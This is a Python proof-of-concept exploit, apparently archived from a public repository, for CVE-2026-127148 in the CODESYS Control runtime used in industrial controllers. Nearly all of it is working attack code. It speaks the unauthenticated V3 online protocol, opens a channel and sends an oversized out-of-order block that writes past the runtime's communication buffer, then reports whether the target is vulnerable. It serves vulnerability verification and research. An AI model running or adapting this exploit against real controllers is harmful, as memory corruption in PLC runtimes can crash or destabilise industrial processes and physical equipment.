#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/dinosn/cve-2026-127148-poc (no license file)
"""PoC for CVE-2026-127148: unauthenticated out-of-bounds write in CODESYS CmpChannelMgr.

CODESYS Control runtimes before 3.5.22.50 (Windows family) / 4.24.0.0 (Linux family) store an
out-of-order L4 data block whose length equals the channel's maximum block size without checking
that it fits into the communication buffer. This script proves the missing check without a
debugger: it makes the runtime accept such a block and shows the poisoned channel state.

For authorised testing only.
"""
import argparse
import socket
import struct
import sys
import time
import zlib

BD_MAGIC = 0xE8170100        # CmpBlkDrvTcp frame magic
MAX_DATAGRAM = 512
FIRST_HDR, CONT_HDR = 24, 16  # L4DATAFIRST / L4DATA header sizes on the wire (protocol 0x0102)
OPEN, PKT_BLK, PKT_ACK = 0xC3, 0x01, 0x02

VULNERABLE, FIXED, UNDETERMINED = 0, 1, 2


def log(msg):
    print(msg, flush=True)


def leb128(value):
    out = bytearray()
    while True:
        b = value & 0x7F
        value >>= 7
        if value:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)


def tag(tag_id, value):
    return leb128(tag_id) + leb128(len(value)) + value


def services(group, service, session, body):
    return struct.pack("<HHHHII", 0xCD55, 16, group, service, session, len(body)) + b"\x00" * 4 + body


def meta(req, tail):
    """Meta request (OPEN/CLOSE/RTSINFO): CRC32 at +4 over the packet with the field zeroed."""
    p = bytes([req, 0x00]) + struct.pack("<HI", 0x0102, 0) + tail
    return p[:4] + struct.pack("<I", zlib.crc32(p) & 0xFFFFFFFF) + p[8:]


IDENT_BODY = tag(0x01, bytes.fromhex("00 10 00 00 00 00 00 00 00 00 00 00"))


class Runtime:
    """Minimal CODESYS V3 online-protocol client: block driver -> router -> L4 channel."""

    def __init__(self, host, port, timeout):
        self.host, self.port = host, port
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.sock.settimeout(timeout)
        self.lip, self.lport = self.sock.getsockname()[:2]
        self.tok16 = self.chan32 = None

    def send_l4(self, payload):
        dg = (bytes([0xC5, (14 << 3) | 3, 0x40, 0x40, 0, 0x33])
              + struct.pack(">H", self.port) + socket.inet_aton(self.host)
              + struct.pack(">H", self.lport) + socket.inet_aton(self.lip) + b"\x00\x00" + payload)
        if len(dg) > MAX_DATAGRAM:
            raise ValueError(f"datagram {len(dg)} bytes exceeds {MAX_DATAGRAM}")
        self.sock.sendall(struct.pack("<II", BD_MAGIC, len(dg) + 8) + dg)

    def _exact(self, n):
        buf = bytearray()
        while len(buf) < n:
            chunk = self.sock.recv(n - len(buf))
            if not chunk:
                raise ConnectionError("runtime closed the connection")
            buf += chunk
        return bytes(buf)

    def recv_l4(self, deadline):
        """One L4 payload, or None on timeout. Raises ConnectionError when the peer closes."""
        self.sock.settimeout(max(0.05, deadline - time.time()))
        try:
            _, length = struct.unpack("<II", self._exact(8))
            body = self._exact(length - 8)
        except socket.timeout:
            return None
        if body[0] != 0xC5:
            return b""
        hdr = (body[1] & 7) * 2 + (body[5] & 0x0F) * 2 + (body[5] >> 4) * 2
        return body[hdr + (-(hdr)) % 4:]

    def drain(self, duration):
        frames = []
        deadline = time.time() + duration
        try:
            while True:
                pl = self.recv_l4(deadline)
                if pl is None:
                    break
                if pl:
                    frames.append(pl)
        except ConnectionError:
            frames.append(b"")
        return frames

    def open_channel(self, requested=0x001F4000):
        self.send_l4(meta(OPEN, struct.pack("<IIBBH", 0x22125B11, requested, 4, 0, 0)))
        for pl in self.drain(2.0):
            if len(pl) >= 28 and pl[0] == 0x83:
                result, tok16 = struct.unpack_from("<HH", pl, 12)
                granted, = struct.unpack_from("<I", pl, 16)
                chan32, = struct.unpack_from("<I", pl, 24)
                if result == 0:
                    self.tok16, self.chan32 = tok16, chan32
                return result, granted, pl[21]
        return None, None, None

    def first_block(self, blk, data, msglen, crc):
        return bytes([PKT_BLK, 0x81]) + struct.pack("<HIII", self.tok16, self.chan32, blk, 0) \
            + struct.pack("<II", msglen, crc) + data

    def cont_block(self, blk, data):
        return bytes([PKT_BLK, 0x80]) + struct.pack("<HIII", self.tok16, self.chan32, blk, 0) + data

    def identify(self):
        """Unauthenticated CmpDevice identify on this channel; returns the reply payload or None."""
        msg = services(1, 1, 0, IDENT_BODY)
        self.send_l4(self.first_block(1, msg, len(msg), zlib.crc32(msg) & 0xFFFFFFFF))
        for pl in self.drain(2.0):
            if len(pl) > 2 and pl[0] == PKT_BLK:
                return pl
        return None

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass


def build_message(size):
    """A valid L7 message of exactly `size` bytes: an identify request plus one unknown padding tag."""
    pad = size - 20 - len(IDENT_BODY) - 4
    while 20 + len(IDENT_BODY) + len(tag(0x77, b"\x41" * pad)) < size:
        pad += 1
    body = IDENT_BODY + tag(0x77, b"\x41" * pad)
    return services(1, 1, 0, body)


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-127148 PoC (CODESYS CmpChannelMgr out-of-order block overflow)")
    ap.add_argument("host", help="runtime IPv4 address")
    ap.add_argument("--port", type=int, default=11740, help="CODESYS runtime TCP port (11740; the gateway is 1217)")
    ap.add_argument("--buffer", type=lambda s: int(s, 0), default=0x001F4000, help="requested comm buffer size")
    ap.add_argument("--timeout", type=float, default=3.0, help="seconds to wait for each reply")
    a = ap.parse_args()

    try:
        rt = Runtime(a.host, a.port, a.timeout)
    except OSError as e:
        log(f"UNDETERMINED: cannot connect to {a.host}:{a.port}: {e}")
        return UNDETERMINED

    try:
        result, granted, s = rt.open_channel(a.buffer)
    except (ConnectionError, OSError) as e:
        log(f"UNDETERMINED: open channel failed: {e}")
        return UNDETERMINED
    if result != 0 or granted < 1024:
        log(f"UNDETERMINED: open channel result={result} granted={granted} (no free channel slot, or not a runtime)")
        return UNDETERMINED
    w = 512 - 2 * s - 8                      # wMaxBlockSize the runtime derives from the address sizes
    log(f"channel open: comm buffer granted={granted} B, address size={s}, max block size={w}")

    msg = build_message(granted)
    crc = zlib.crc32(msg) & 0xFFFFFFFF
    first_len, cont_len = w - FIRST_HDR, w - CONT_HDR
    last = 1 + -(-(granted - first_len) // cont_len)
    tail = msg[first_len + (last - 2) * cont_len:]

    def chunk(k):
        off = first_len + (k - 2) * cont_len
        return msg[off:off + cont_len]

    try:
        rt.send_l4(rt.first_block(1, msg[:first_len], len(msg), crc))
        oversized = tail + b"\x41" * (cont_len - len(tail))
        start = first_len + (last - 2) * cont_len
        log(f"sending block 1, then an out-of-order FULL-SIZE block {last} "
            f"(offset {start}, {len(oversized)} B -> {start + len(oversized) - granted} B past the buffer), "
            f"then in-order blocks 2..{last - 1}")
        rt.send_l4(rt.cont_block(last, oversized))
        for k in range(2, last):
            rt.send_l4(rt.cont_block(k, chunk(k)))
        frames = rt.drain(a.timeout)
        if any(len(pl) > 2 and pl[0] == PKT_BLK for pl in frames):
            log("VULNERABLE: the message completed with the oversized out-of-order block")
            return VULNERABLE
        log(f"no completion yet ({len(frames)} frames, {sum(1 for p in frames if len(p) > 2 and p[0] == PKT_ACK)} ACKs); "
            f"sending the proper {len(tail)} B final block")
        rt.send_l4(rt.cont_block(last, tail))
        frames = rt.drain(a.timeout)
        if any(len(pl) > 2 and pl[0] == PKT_BLK for pl in frames):
            log("NOT VULNERABLE: the oversized block was rejected; the message completed with the proper final block")
            return FIXED
        rt.close()
        try:
            probe = Runtime(a.host, a.port, a.timeout)
            ok = probe.open_channel()[0] == 0 and probe.identify() is not None
            probe.close()
        except (ConnectionError, OSError):
            ok = False
        if ok:
            log("VULNERABLE: oversized out-of-order block accepted and stored past the buffer; "
                "the channel never completes, even after the proper final block (runtime itself still answering)")
            return VULNERABLE
        log("UNDETERMINED: no completion and the runtime stopped answering on a fresh channel")
        return UNDETERMINED
    except (ConnectionError, OSError) as e:
        log(f"UNDETERMINED: connection failed: {e}")
        return UNDETERMINED
    finally:
        rt.close()


if __name__ == "__main__":
    sys.exit(main())
